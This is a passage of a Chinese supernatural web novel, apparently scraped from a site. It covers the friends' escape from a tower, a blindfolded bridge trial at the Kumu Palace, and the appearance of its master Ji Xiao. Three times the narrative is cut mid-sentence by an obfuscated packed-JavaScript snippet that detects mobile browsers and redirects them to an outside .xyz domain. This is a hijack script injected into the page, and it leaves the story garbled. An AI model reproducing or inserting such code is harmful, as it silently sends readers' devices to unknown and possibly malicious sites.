“不必了,你们快走吧。”和尚拒绝得很直白,然后将腰上的葫芦摘下来递给眼前人,“拿着这个。遇到一般的小鬼只要把葫芦口对准它们,就能把它们收进来;要是碰上厉害的,那就把里面的酒水泼到它们身上。” “这一看就是宝物。”洪钟也是诚恳发问,“可是把这个给了我们,你怎么办?” “二位谬赞我一声‘高人’,那必不能叫二位有缘人失望。”和尚微微一笑,“别的不说,如果连这点自保的本事都没有,那贫僧岂不是在这里白白浪费了两年。” “两年?”另外两人同步震惊。 “怎么?二位有缘人难道不是如此?”和尚似乎也很震惊。 “我们昨天才进来。”卫斯诚下意识看了一眼手表,却发现上面的指针早就停了,“也可能是前天,反正不超过三天。” “难怪。”和尚恍然大悟,又正色道,“如果这样的话,你们还是不要乱走动了。新来的人没有经验,很容易成为他们的猎杀对象。” “他们指的是?”洪钟有种不祥的预感。 “这些非人非魔非妖的怪物,也包括在这里困了很久丧失人性的活人。” “这地儿还有其他人?” “看来你们什么都不知道。”和尚顿了一下,开始给两人讲故事。 “这里有很多人,他们中大多是有点本事的道人。像我这样的也有,只是不多。九十年前曾有过一场齐聚各路修道人的盛会,这些人就是因为赴会而被骗到这里来的。” “这也行?”卫斯诚瞠目结舌,“这不是阴幛里虚构的世界吗?” “虚构?这是真实存在的地下国度,你们说的阴幛,恐怕只是其中一个入口罢了。”和尚继续道,“在寻找出口的这段时间中,有人饿死、有人冻死,但更多的是这些修道者之间的自相残杀。” “再后来,骗他们来此的幕后之人发话说,只要清除足够数目的怪物,就能出去。” “那要是这里的怪物都被收拾完了怎么办?难道剩下的人永远都不能回去了吗?” “没有的话,可以人为创造啊。”和尚说得云淡风轻,“这里每隔一段时间都会有新进来的人,我不知道你们是第几批,但我自己在这里应该至少待了两年。弱肉强食,如果进来的人没有实力,就会被以前的人用各种办法变成怪物,然后猎杀。同样,如果新人实力不俗,那么也可以把老人当作猎杀对象。” “搁这儿养蛊呢!”洪钟听得头皮发麻,再想到自己为负数的战斗力,只差没当场发疯了。 “你们刚才见到的那个扮演小生的人,已经来此几十年了。”和尚叹了口气道,“如果不是把他变成这样的人被别人所猎杀,我也没机会收服他。” 洪、卫二人不动声色地站远了点,生怕眼前的和尚杀心大起,把他们也变成用来充数的鬼魅。 “你们不必担心,我从未做过此等丧尽天良的事。迄今为止,我也只是截胡,从不害人。”察觉出了对面人的意图,和尚无奈道,“我劝你们不要乱走动的原因已经说完了,听不听要看你们自己。不过切记,不要轻信在这里碰到的人所说的话。” “那您刚才说过的话?”卫斯诚问。 “自行分辨。”和尚一笑,转身上楼。 正所谓祸不单行,两人跑上四楼准备关好门窗躲过这一阵子再说的时候,惊觉自己受伤的同伴不见了。卧室的床铺上只剩下两件带着余温的外套,床前床后、屋里屋外愣是一个人都没有。 “就这么一会儿,怎么被人偷了家了!”卫斯诚又懊恼又后悔,只恨自己当时为什么不留下来守着。 “小凌子能去哪儿啊!”洪钟把床单反复掀开看,只差没掘地三尺找人了,“他不会是被怪物给抓走了吧。” 门外金光又现,想来那年轻和尚又收服了新的怪物。 “要不然,咱去问问?”上楼的时候忘了还葫芦,洪钟便想借此机会向这里的“老员工”打听消息。 事已至此,多做纠结也无益。一想到姐姐回来发现伤员失踪时的反应,卫斯诚还是决定按照洪钟的提议办。 和尚在三楼,刚把收完怪物的口袋扎紧,就看到了两张熟面孔。他也不吃惊,径直发问,“遇上什么麻烦了?贫僧很乐意为两位有缘人传道授业解惑。” 听完了凌岓失踪的前因后果,和尚没有立刻给出答案,反倒要求去楼上那间房里看一看。 和卫斯诚、洪钟的反应一样,他也把整个房间前前后后仔细搜了一遍,又掀褥子又敲床板,可看起来还是一无所获。 “看出什么没有?”卫斯诚心里着急,却也不敢催得太紧。 和尚先是点点头,然后又摇摇头。 “嘛意思这是?”洪钟追问,“这到底是看没看出来什么?” 和尚指了指床板,解释道,“没有血迹,也没有阴气,这说明你们的朋友不是被这楼里的怪物掳走的。” “好消息!好消息!”洪钟摸了摸胸口,总算松了口气。 “先别急着开香槟。”和尚取下佛珠,指着其中一颗黑色的说,“这串佛珠有预示之能,若颜色变浅,那就说明诸事大吉。可若反过来,那就是凶多吉少。二位请看,如今这颗珠子发黑,是深是浅、是吉是凶也无需多言了。” “您再说清楚点。”卫斯诚手脚冰凉,怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446663|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方说出一个最坏的结果。 “我在这里的两年中,见过的大鬼小鬼不计其数。要知道,单单是鬼并不可怕,它们不会主动害人。只有心怀恶念怨毒的鬼魂才会害人,也只有收服这样的鬼魂,才算数。也因此,这里的道师高人为了让活人有更多怨气无所不用其极。如果你们的朋友是被那些人所害,那他不会失踪,只会成为怪物中的一员。” “同样的,那些厉鬼怪物虽说还会残存一丝人性,但并不多。见到生人活气,它们会迫不及待地下手,然后血溅当场,绝不可能把人带走。” 和尚摩挲着那颗变黑的佛珠,若有所思,“你们这位朋友要么来头不小,要么身上有什么异于常人的地方。我猜,他大概率是被哭木宫里的那位带走了。” “什么宫?”又是异口同声地发问。 “哭木宫。那里面的人是将一切玩弄于鼓掌的幕后黑手。如果能顺利进到宫门之中,那他会答应你们的任何要求。” “那个宫在哪儿?我们现在就去!”卫斯诚半死不活的心又重新活跃起来,连忙打听位置。 楼下传来阵阵嘈杂,桌椅板凳翻倒的声音紧随其后。 和尚侧耳听了一会儿,从袖子里拿出一张折好的牛皮纸,“我这里有张地图,是一个老道师给我的,你们拿去吧。哭木宫门前有九十九级台阶,每一阶都有两个卫士。他们是被抽去灵魂的傀儡,没有思想、没有痛觉,很少有人能过得了他们那关。你们自己多保重吧。” 楼下的打斗声越来越大,卫斯诚看着年轻和尚无奈又决绝的眼神,心中一沉,“那您呢?您跟我们一起走吧!” “今天是十五,望月楼里肯定会有一场乱斗。就算我躲得过初一,也躲不过十五。现在下去和他们硬碰硬还有一线希望。” 洪钟把宝葫芦还给他,希望他能平安无事地度过今天。可和尚摆摆手拒绝了—— “我会在这房间外面设一个障眼法,这样他们就无法轻易找到你们。等到天亮了,你们听着底下没声音了再走。” “大师留步!”虽说相处时间不长,可卫斯诚心里是把和尚当作好人看待的,“您就和我们呆在这儿吧!等到天亮,大家一起去找那个宫,万一成功了,我们就都能逃出去!” “谢你好意,但不必了。所谓种什么因得什么果,我自有我的路要走。再说,障眼法只在外面设才有用。”和尚走到门口,踌躇片刻,转身对屋中两人说,“我还有一事相求。” “您说!只要能办得到的,我俩赴汤蹈火在所不辞!” “我家在徽山市黄溪区碧水花园99栋。如果你们有机会逃出去的话,代我回趟家吧。就跟我爸妈说,说我知道错了。然后再告诉他们,就说我已经去国外找工作了,别担心我。” 说完,和尚拉开门,从容不迫地念着“阿弥陀佛”走了。 金光在门外亮起又淡下,屋子里突然变得温暖起来。剩下的两个人知道,和尚这次是真的要走了。 “我们都不知道他的名字。”洪钟看着门口出神。 “所以我们更要出去了。”卫斯诚心里有种说不上来的憋屈感,“人家就托我们干了这一件事儿,说啥也要把话带到了。” 在深埋地下的古城里看不见十五的满月,从嘈杂混乱的打斗声中也分不清谁是谁。又过去了许久,屋子里的人从焦躁不安等到心如止水,打斗声终于停下了。 推门下楼,望月楼里望不到月亮,只有随处可见的斑驳血迹和一地分不清模样的断气亡人。和尚的身影不在其中,也不知他究竟是躲过了这一劫,还是已经彻底消失了。 地图上全是折痕和褶皱,但依然能分辨出哭木宫的位置,它就在古城最北面。从望月楼出发,如果不遇到其他阻碍的话,应该半天就能走到。 走出望月楼,街道上还是黑漆漆的一片。骨塔已经被烧成了灰,赤羽蜂和螳螂也暂时成不了大气候。卫斯诚和洪钟按照地图上的路线寻找哭木宫,怎么都没想到快他们一步的姜泠已经扫清了六十层台阶的阻碍。 57. 第五十七章 哭木宫 越往上走,难度就越大。姜泠一开始还留有后手,可从三十层以后,这些守卫不但难打,还招招下死手,她也不得不全力应战。卫斯诚他们赶到时,石阶上已经有了星星点点的血迹,上面有已经凝固成深褐色的,也有还是鲜红色的。 “姐,我来帮你!”看清楚战况后,卫斯诚想都不想先加入进去。 本来第六十一层的两个守卫已经被姜泠踹下去一个了,现下再多一个帮手也没起到多大用处。待到第二个也被扔下去之后,姜泠才有功夫问一句,“你怎么在这儿?” “来帮你。”没照看好伤员的人有些心虚,不敢直视发问者。 “说实话。”这些台阶上的卫士很死板,只要没人踏上他们看守的那一层,他们就不会发起攻击,姜泠也借此得以喘息。 “我错了。”卫斯诚开口先道歉,然后才解释原委,“我们碰见了意外,我苦命的凌哥被这里面的人拐走了。我们是想来这儿找他的,没想到姐你也在。” 眼看着姜泠听完以后,脸色一点点往下沉,洪钟赶紧向她解释,“小姜,这事儿真不能怪小卫,主要责任在我。关键我也没想到那望月楼不是人呆的地方呐!” “你们确定他在这里?”姜泠最终也没指责谁一句。 “不一定,但…大概率。”卫斯诚现在像个做错了事的小孩,他一边说一边偷瞄师姐的脸色,说话声音都不敢太大,“姐,你要生气的话还是骂我两句吧,抽我也成…就是别自己憋着。” “骂你干嘛?”姜泠反问,“事情已经发生了,说再多指责的话也毫无意义。既然你们都说大概率在这里面,那就闯进去看看。” 石阶一战,也是洪钟第一次见到这样的姜泠。女孩身上已经有好几处大大小小的伤口,大多都还在往外渗血,可她既不喊疼,也不埋怨,提着一把弯刀就继续往上冲。 一层一层,在卫斯诚恰到好处的帮助下,姜泠越战越勇。他们走上去的速度也越来越快。 登上第九十八层,三个人都已经筋疲力尽。最后两个卫士居高临下地看着他们,丝毫没有要动手的意思。 近在咫尺的宫门打开了,从里面走出来一个袅袅婷婷的少女。她手捧一把云纹凤尾摇扇,眼神空洞着对三人说,“我家主人说了,最后一层不必再打打杀杀,换一种方式。” “换什么方式?”黑金匕首上还滴着血,它的所有者仰头问。 “好。”不等对方回答,姜泠已经应下了,“不论什么方式,我都奉陪到底。” “请随我来。” 少女面无表情地将摇扇轻轻点了两下,最后一层的守卫跟着向两侧退开,让出一条路来。 少女带领三人来到一侧宫墙边,墙上正悬着一条通向对面高墙的栈桥。栈桥刚够一人通行,两边没有护栏,据洪钟目测,它至少有五六十米长。 “蒙住眼睛从这里走过去,再从对面走回来。只要一个来回不掉下去,就能见到我家主人了。”少女指了指栈桥说,“你们一共有三次机会,怎样分配由你们自己决定。” 洪钟壮着胆子往下看了看——宫墙也有数十米高,如若一个不小心摔下去,那一定只有粉身碎骨的下场。 “我先来!”说书人做好了心理建设,深吸一口气,走上前去。 “你来什么来?你又不是马戏团的。”卫斯诚把准备扶墙站上去的人抓下来,“就你这小体格子,站都站不稳。要来也是我先来,我毕竟还是有点功夫在身上的,至少在掌握平衡上比你强。” “如果摔下去,你们不会施以援手,对吗?”姜泠问。 “会的。在三次机会用完以前,只要掉下去,我就会把人拉住,不会放任你们真的摔死。”少女的回答出人意料,“不过,如果三次机会用完以后,还是没有人通过考验,那就都要被扔下去。” “我先来吧,试试水。”不等姜泠开口,卫斯诚已经接过少女手中的白布,把自己的眼睛蒙了个严严实实。 在看不见的情况下,人很难走出一条直线。尽管卫斯诚在迈出步子以前已经尽力控制肢体沿着直线前行了,可走着走着,他的脚步还是偏离了既定路线。 当迈出去的那只脚感受到底下流动的空气时,已经迟了。踩空只用一瞬间,下坠也是。失重的感觉极速传来,划过耳边的风声震得人耳膜发疼,卫斯诚现在只有一个念头——“这次真的完了”。 下一瞬,少女手中的摇扇变大,从宫墙上面飘下来,将下坠的人稳稳接住,托在了上面。 “第一次机会用完了。”少女冷冰冰开口,像个被植入程序的机器人。 “嘛也别说了,这回就让我老洪来!”说书人撸起袖子,跃跃欲试。 白布的确厚实,往眼睛上一盖,比家里的窗帘还遮光——蒙住眼睛后,洪钟心想。 只可惜,好心态对于好结果而言是充分条件,却不是必要条件。洪钟刚走到一半,就实实在在的和卫斯诚“感同身受”了一把。同样被摇扇托住时,他整个人都还在发懵。 “我摔下来了?”他问。 “昂,你摔下来了。”同在扇子上坐着的人答。 “我们两个废物,这下又把压力全推给小姜了。”洪钟把白布随手一扔,语气里全是懊恼。 “全看我姐的了。”对于自己是废物这一评价,卫斯诚不做反驳。 姜泠本就是盲人,有没有那块蒙眼的白布对她而言其实差异不大。现下她把眼睛蒙住,也仅仅是起到了造型上的作用。 摇扇上的两人目不转睛地盯着他们最后一根独苗一步一步走上了栈桥,大气都不敢喘。 姜泠走得很慢,每走一步都要几经斟酌才下脚。饶是如此,快走到对面时,她也还是差点踩空。见她不慌不忙地走回了直线,两位观众才把倒吸进去的凉气重新吐出来。 或许是有了点经验,折返回去的路要比来时顺利许多。当最后一步从栈桥上成功落地时,卫斯诚和洪钟狠狠松了口气,一个劲儿鼓掌。 “现在可以进去了吧。”通关的大功臣神色如常,既不紧张也不激动,一把扯下遮眼白布问。 蒲扇从半空中飞回,等上面的两人走下来,少女才说,“请跟我来。” 宫殿门上挂着一块云纹鎏金边框錾蓝底的牌匾,上面用九叠篆[1]刻着“哭木宫”三个大字。屋顶上高高翘着双檐四角攒尖,价值不菲的琉璃金瓦覆满了整个屋面。 宫门厚重,却无需来客自己推开——少女将抱在怀里的扇子轻轻摇了两下,两扇朱门就自动向里打开了。 这是一座巨大的宫殿,一眼望去,甚至连最里面的陈设都看不清。殿内以波纹檀木作梁,左侧立着五棵间隔相等的翡翠桂树,右边对立着五棵白玉雕成的白玉兰。 人走在殿中,脚下踩的是蜀锦织金的地毯;墙上挂的是梅子青釉瓷烧成的琵琶笙箫等各类乐器。头顶上还吊着四盏水晶灯,灯的形状分别对应着传说中守护东西南北的四大神兽——青龙、白虎、朱雀和玄武。 宫殿最里面的三层玉阶上放着一把高置其上的宝座。宝座通身都是金漆雕龙的,只有两边的扶手是银漆画凤的样子。软垫是贡缎制成的、座前遮挡的帘子是一颗颗圆润又饱具光泽的南海珍珠串起来的,就连用来搭脚的矮凳都是汉白玉的材质。 洪钟在四处游历积累素材时看过许多地方的古建筑,也参观过许多古代皇室贵胄的宫殿行居,可没有哪一座的规模和奢华程度能比得上眼前这座哭木宫。如果非要找出一个可与之类比的,那也只有书里描写的阿房宫了。 “好家伙,不会一会儿从里面走出来哪朝哪代的皇帝吧。”洪钟小声说。 “能活到现在的那还叫皇帝吗?”卫斯诚回应他,“那叫千年老妖精,指不定长得跟一老树皮似的。” 从进入殿内开始,那个领路的摇扇少女就不见了。直到现在,她才又重新出现,她身后有两个带面具的人搬来一扇用金银丝线绣着哭木宫全貌的珊瑚屏风。 “我家主人吩咐过了,请各位不必客气,随便坐。” “你家主人什么时候露面?”姜泠现在没什么耐心。 “请稍等,我家主人临时有些事情。”等屏风放好以后,少女微微欠了欠身,又走了。 “她怎么跟个人工智能一样……”卫斯诚也不客气,当即便坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456654|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了镶着璧色玉面的黄杨木凳上。 “这人到底是谁啊?”洪钟一时间也摸不着头脑,“为嘛把我师叔带到这儿来…你们瞧,这屏风能动!” 卫斯诚看过去,只见屏风上绣着的图案正在发生变化。先是哭木宫正殿的门慢慢打开了,里面呆着三个有些狼狈的人。仔细一看,正是到此寻人找药的三个人。 紧接着,旁边的偏殿门也打开了。里面绣着十几个各自忙活的人——有端着碟子正走路的,有捧着碗跪在一张纱幔遮挡起来的床边的,还有一个正在用刀割自己小臂的… 偏殿后面是厨房。有人在切菜、有人在杀鸡、还有人正拿着大勺揭开锅盖品尝其中汤水的味道。 “实时监控啊。”卫斯诚把屏风上出现的画面给姜泠一五一十地转述了一遍,还不忘点评一句,“不过是国风版的。” 说书人坐在旁边看着这些画面乐呵呵地笑,只当自己是借此参观的游客了。从厨房出来以后,屏风上的画面又依次流转到了花园、书房、医院和几个供古人歇息的寝殿。最后经历了几秒“黑屏”,视角停留在一个光线不强的房子里。 画面虽暗,但还是能辨别出其中情景的。凑上前去仔细一看,洪钟彻底笑不出来了——“师叔?!” 只见这暗房里有几个人,他们的脑袋各自低垂在不同方向,两只手被绳子高高吊在房顶的铁架子上,生死未卜。这些人中,有一个身穿白色汗衫迷彩裤,脚蹬一双黑布鞋,左脸颧骨处还长了一个痦子的人——这正是众人此行来要救的目标,洪钟的师叔。 “我没看错吧。”卫斯诚也趴在屏风上仔细端详,看了半天,他一脸不可置信地对姜泠说,“姐,我好像看到沈医生了。” “你说谁?”闻言,姜泠的神情立时变得无比严肃。 “沈医生。就是我们去芝则的时候那个救过我的沈径霜。” “她怎么会在这儿?” “不是等会儿,嘛意思?”洪钟突然明白过来了,“这意思是咱们认识的人都在里边是吗?” “老郑他们不在。”卫斯诚又仔仔细细把屏风里的人辨认了一遍,“凌岓也不在啊。难道说和尚猜错了?” “你们还记得这里的位置吗?”姜泠沉思了半天,对同伴说,“如果记得怎么走的话,我们去看看不就知道了。” “有道理!” 屏风上的画面闪的并不快,哪一间屋子在什么方位、怎么走,看过的人都还记忆犹新。鉴于上面吊着的都是熟人,洪、卫二人一致表示赞同。 宫门紧闭,任里面的人再怎么使劲往外推也纹丝不动,一扇门似有千斤重。 宫中光线渐暗,屏风上吊在洪钟师叔旁边的人突然睁开眼。他仰头看了看自己被绑缚的双手,既不惊慌,也不呼救,竟然面无表情地又把头低下去了。 屏风这头的三个人屏息凝神注视着画面里的一切,就怕突然生出什么意料之外的变故。好在除了这个不认识的男人睁眼以外,再没有别的动静发生。 “这什么破门,打也打不开!”黑金匕首顺着门沿划下去,可还是不见效果。两扇朱红色的宫门就像要把人困在其中一样,连一丝风都透不进来。 画面那一头,刚刚睁开眼的人又动起来,他以一种极其古怪的姿势扭动身体,像一条被困在蜘蛛网中的毛毛虫。 眼前的门打不开,那边的人又帮不上。洪钟把手撑在下巴上来回踱步,好半天也想不出个办法。 “有了!”姜泠突然想到了什么,“包里不是还有绳子嘛,我们用绳子装一个简易滑轮。然后把那个座椅吊起来,再往门上撞着试试,说不定能把门撞开。” “有道理。”卫斯诚刚打算取绳子,一抬眼却被屏风里的人吓了一跳—— 只见那人抬着头,直勾勾盯向前方,就好像知道自己的一举一动正被这边的人尽收眼底一样。他不说话,露出一个极为吊诡的笑容,看得人浑身汗毛直立。 “几位远道而来,在下非但有失远迎,还让诸位在此等了这么长时间,实在是失礼了。” 一道富有磁性的男声从门外传来,朱门打开,哭木宫的主人终于现身了。 58. 第五十八章 计枵 不是前清遗老,更不是出土文物。出人意料的是,这位哭木宫的主人并没有想象中那么老气横秋。相反,他穿着一身浅灰色的运动服,手上戴一块运动腕表,笑起来有一对儿浅浅的酒窝,看起来倒像是一个刚晨跑完的大学生。 “抱歉,让你们久等了。实在是因为今早遇到了突发状况,请原谅。”来人说话的时候也是腼腆笑着的,看上去没有半点儿架子。 见对方看起来还是清秀的学生模样,说起话来又怪有礼貌的,倒让正准备把人劈头盖脸骂一顿泄愤的卫斯诚束手无措了。 “是我进来的太突然,把大家吓着了?”年轻人一边笑盈盈地问,一边让身后的侍女把果盘端上来。 “您…您就是传说中的宫主?”洪钟搓了半天手,结果话一出口,还是后悔自己乱接话。 “我是男的,怎么能是公主呢。”回话的人开了个并不好笑的玩笑,成功起到了冷场的作用。 “不绕弯子了,我们的朋友是不是在您这里?”姜泠受不了冷笑话,更懒得多尬聊一句,索性开门见山地问。 “不知姜姑娘说的是您哪一位朋友?” “你带走了我多少朋友,我说的就有多少。” “你小时候就是个急性子,没想到现在什么都没有了,性格还是一点儿没变。” “我们只说眼前,不谈过去。”姜泠擅长于把天聊死,现在也不例外。 听完她的话,年轻人也不多寒喧了,轻笑一声道,“那个姓沈的女医生在偏殿的地下室里,你可以把她带走。但这样一来,凌岓可就不能跟你们回去了。” “为嘛?”洪钟抱起胳膊问,“再说了,你为嘛要绑架他们?他们,包括我们都跟你无冤无仇的,你到底想干嘛?” “瞧你说的,这怎么能是绑架?我这是请他们来帮忙。” “谁家好人请人帮忙还把人吊起来?”卫斯诚一肚子没发出来的火气现在又积聚起来了。 “这可真是冤枉我了。我本来也是打算好吃好喝供着他们的,可他们不配合,我只好出此下策。” 事实证明,人不可貌相这句话一点儿不错——眼前的年轻人也就只剩一张脸还算清秀了,答起话来活脱脱一根老油条。 “那我能问问,他们能帮你什么忙吗?”姜泠没觉得对方是在开玩笑,顺着他的话往下问。 这个问题问得很对胃口,年轻人几乎是不假思索地回答她,“姓沈的小姑娘手里有把琴,那可是用上千年的老沉木做成的。据说按照古谱用这把琴弹上一曲,就能让死人生骨,让活人成仙。” “这你也信?”说书人震惊道,“真要有这种琴,哪还轮得到一个小姑娘保管?早被抢走了!你这不是纯纯被封建迷信忽悠瘸了嘛!” “你懂什么?”年轻人嘲讽地笑了笑,“就算把失传已久的古谱放在你们面前,你们这种凡夫俗子也弹不响那把琴!” “行行行,就当你说的都对,那你为嘛把我师叔也绑走?” “因为他是现今世上,除了殷漠以外,唯一一个认识古琴谱上面的字的人。” “那凌岓呢?他和那把琴毫无关系,为什么要把他也牵连进来?” “你这么聪明的人,怎么会想不明白呢?”年轻人把手里盘着的核桃放下,继续道,“我给你个提示吧。从第三只龙眼到你中毒,难道你就从来没发现你这位朋友有哪里和常人不太一样?” 得了提示,姜泠认真把对方说的两个关键节点中发生的一切在脑海中思索了一遍,顿时反应过来。 “难道说,他不受恶意的影响?” “答对了。”哭木宫的主人站起来负手踱步,边走边说,“殷漠失踪以后,我一直盯着他的两个好徒弟,也就是你们两位,捎带手找一找老东西说的纯善之人。” “跟了你们这么久,一直没有殷漠的下落,我本来都打算放弃了。可无独有偶,偏偏在六溪的时候让我发现了一个秘密——那个年轻人竟然不受第三只龙眼的影响,这就说明他心里没有什么可以被放大的恶念,说不定就是我要找的纯善之人。为了验证这个猜想,我特意制造出了一个阴幛,让小傀儡在那儿等着偷袭你们。” “原来是你害的我姐!” “正是在下。跟了你们这么久,对诸位的性格和行事风格多少也有点了解。包括阴幛里的引路人,那都是我事先安排好的。” “这么说,骨洞也是你做的手脚?强子被杀害,洪钟被人钉在地上,这些都是你干的?”姜泠问。 “别乱扣帽子,是我做的我会承认,不是我做的我可不背锅。”年轻人否认这些指控,“确切来说,你们收到的请柬是真的。把说书人带到禾城的那拨人是想让他提供一些寻找凶手的线索,结果中途被人截了胡,他们只好暂时作罢。后来你们把他从精神病院里救出去,他们才想出送请柬的办法。” “其实就算你们不救他,第一拨人也已经打听到了他被关在精神病院的事。我只是利用第二封请柬做了些手脚罢了。” “嘛凶手?我又不是警察,上哪儿找凶手去!”洪钟越听越糊涂。 “和第一个葬礼的小姑娘一样,第二个葬礼的男孩也有差不多的经历,只不过他没有那么大的关注度。那家人搞错了,他们以为你是骨医,所以才干了那么多蠢事儿。” “所以即便没有老洪,我们也迟早要到这里来的。”卫斯诚恍然大悟。 “不错,芝则让你们逃掉了一次,这次我就考虑得更周全一点。至于姜姑娘刚才问的问题,我想你们应该去问殷漠。虽说他已经失踪了,可最近一阵儿泄露的行踪却不少。说不定这趟回去,你们就能见到他了。” “你要怎么才能放了他们?”姜泠话锋一转,认真问,“包括凌岓,你要怎么才能放了他们?” “放?”年轻人笑出了声,“是我说的还不够清楚吗?你只能带走一个,凌岓于我有用,我怎么可能放了他?” “你小子怎么油盐不进呢?”洪钟在心里把此人的祖宗十八代都骂了一遍。 “说起来,我的名号还是你告诉他们的。像我这样一个十恶不赦的人,如果真那么容易被你们说动,那多对不起诸位对我的评价。” “你的名号?” “你是计枵?”姜泠最先反应过来。 “聊了这么久,现在才知道我的名字,你们太没礼貌了。”骨医代志里被除名的人此刻就站在眼前,众人无不震惊。 “你你你…” “老实说,也别把我想得那么坏。毕竟,我还没把你们做成和她一样的傀儡。”计枵打了个响指,抱着摇扇的少女便从门外走进来,“姜泠,你还没认出来她吧?” 被问到的人不说话,她的确不记得这个女孩是谁,只是听声音有点似曾相识。 “姜大小姐真是贵人多忘事,连自己救过的人都记不起来了。”计枵笑着提醒她,“贺一川的消息是我放给你的。你去安城的那天晚上…” “周盼!”不等对方提醒完,姜泠就知道是谁了,她努力让自己冷静下来,压着怒气问,“她怎么会在这儿?你对她做什么了?” “别激动嘛,她是自愿跟我来的。条件是让我帮她处理掉那对儿一而再再而三想把她卖给别人的黑心夫妇。” “别说得跟你做了多大善事一样!”卫斯诚无语至极。 “你到底想要做什么?”姜泠厉声问道,“你一直跟着我们,又把我们引进来,到底想得到什么?凌岓、周盼、马成林,还有我师父的琴,你究竟要他们为你做什么?” “救人。”短短两个字,语出惊人,“不然何必费这么大劲儿在这里安家?” 眼见三人都是一脸难以置信,计枵耸了耸肩,“不信的话,可以跟我来看看。” 将信将疑跟着他走到殿外,几个人心里更加确信计枵这人不大正常——说他是古代人,他穿着打扮都挺现代;说他是现代人,也就多走几步路的功夫,他还非要坐着四人抬的轿辇。 卫斯诚在人前礼貌拒绝了坐轿子的邀请,人后却翻着白眼和洪钟小声耳语,“你觉不觉得他有种前清遗老套了个现代壳子的感觉。” “谁说不是呢!”洪钟颇有同感,“人家是老黄瓜刷绿漆,这人是老王八插蒜苗——装盆栽呢!” 轿辇上坐着的人稳如泰山,听见这些话也不恼,甚至暗暗觉得好笑。 不多时,几个人跟着轿辇来到另一座小一点的宫殿前。牌匾上的字体仍然是九叠篆,连名字都没换。 宫门打开,里面的人赶紧停住手下的事情,齐齐跪在地上。 计枵不多说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14474349|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对变成傀儡的周盼使了个眼色,后者便带着一众宫人小心翼翼地退到门外去了。 “我有个问题,您老到底多大岁数了?”卫斯诚问。 问题一出口,洪钟差点被自己的口水呛死——明眼人都能看出来,自从进到这里,计枵既不大声说话,走路也轻手轻脚的,生怕惊扰什么人一样。如此反常,就连什么都看不到的姜泠也察觉到了,只有卫斯诚敢在这时候还大剌剌地问出这种问题。 一时间,洪钟也分不清他到底是故意的还是纯神经大条。果然,走在前面的计枵刚听完问题,脸色就变得难看了起来。 “少问废话。”姜泠表面是在呵斥师弟,实则是怕惹怒了这位“老前辈”,对方一怒之下会做出什么不利的事情。 严格来说,这是一座寝殿。殿外阴风阵阵,殿内却是温暖如春。殿墙上隐约传来淡淡的香气,应该是在墙壁的涂料中混了香料。 前殿是一个书房,架子上摆着各种各样的书籍。有竹简做的,也有白线穿起书脊的;有已经泛黄脱页的,也有崭新的现代精装本。 卫斯诚眼尖,在一片书海中愣是发现了其中一个写着熟悉字迹的本子。 前殿和后殿中间用一扇拱形屏风隔着,绕过屏风,先看到一张横放在窗棂下、供人小憩的罗汉床。床边放着一张触手可及的小桌子,桌子上摆着半碗腥臭的药和一套小茶具。 计枵看见那半碗药,脸色更难看了。但他还是没说什么,径直向里走去。 寝殿的规模虽说没有之前的哭木宫大,可奢华程度却一点也没少。最里面放着一张乌木鎏金雕花拔步床,床前挂着秋香色的软烟罗帐子,帐子下摆的流苏也是用浑圆有光泽的珍珠串起来的。 趁着计枵动作轻柔掀开帐子的间隙,洪钟给卫斯诚比了个手势,刚巧看见对方也在冲自己眨眼睛——不用说,这两个人又对上暗号开始在心里吐槽了。 计枵说要救人的铺垫在前,众人皆以为床帐掀开,里面躺着的会是一个病人。骨瘦如柴的、面如枯槁的,种种模样都能被接受,但几个人唯独没想到,床上躺着一件衣裙,衣领上方的玉枕上端端正正放着一个漆木盒子。 “这…就是您要救的…人?”这下别说卫斯诚,连洪钟都被眼前的景象震惊到无以复加。 “对。”计枵伸出手抚向木盒子,也不知在摸什么。但看他那脸柔情似水的表情,洪、卫两人只觉得怪瘆人的。 整个摸完一遍,计枵又小心翼翼地打开盒子,里面是一捧灰。 “你们看,这就是我要救的人。” “哦…在哪儿呢?”饶是看见了盒子里的灰,卫斯诚也还是在四处寻找“人”影。 “这就是她。”说话的人痴痴望着一盒子灰出神,问道,“你们看不到吗?” “我们看到了。”看过那么多电影电视剧,洪钟还是觉得眼前的人最变态,他结结巴巴地回答,“看到了一盒子灰。” “这是她的骨灰。”计枵脸上浮现出无尽怜惜,丝毫不看旁边人抽搐的面部表情,“现在人到齐了,你们很快就能看到她本来的样子了。” “什么意思?”察觉到话里的不对,姜泠伸开双臂护着两个同伴往后退了几步。 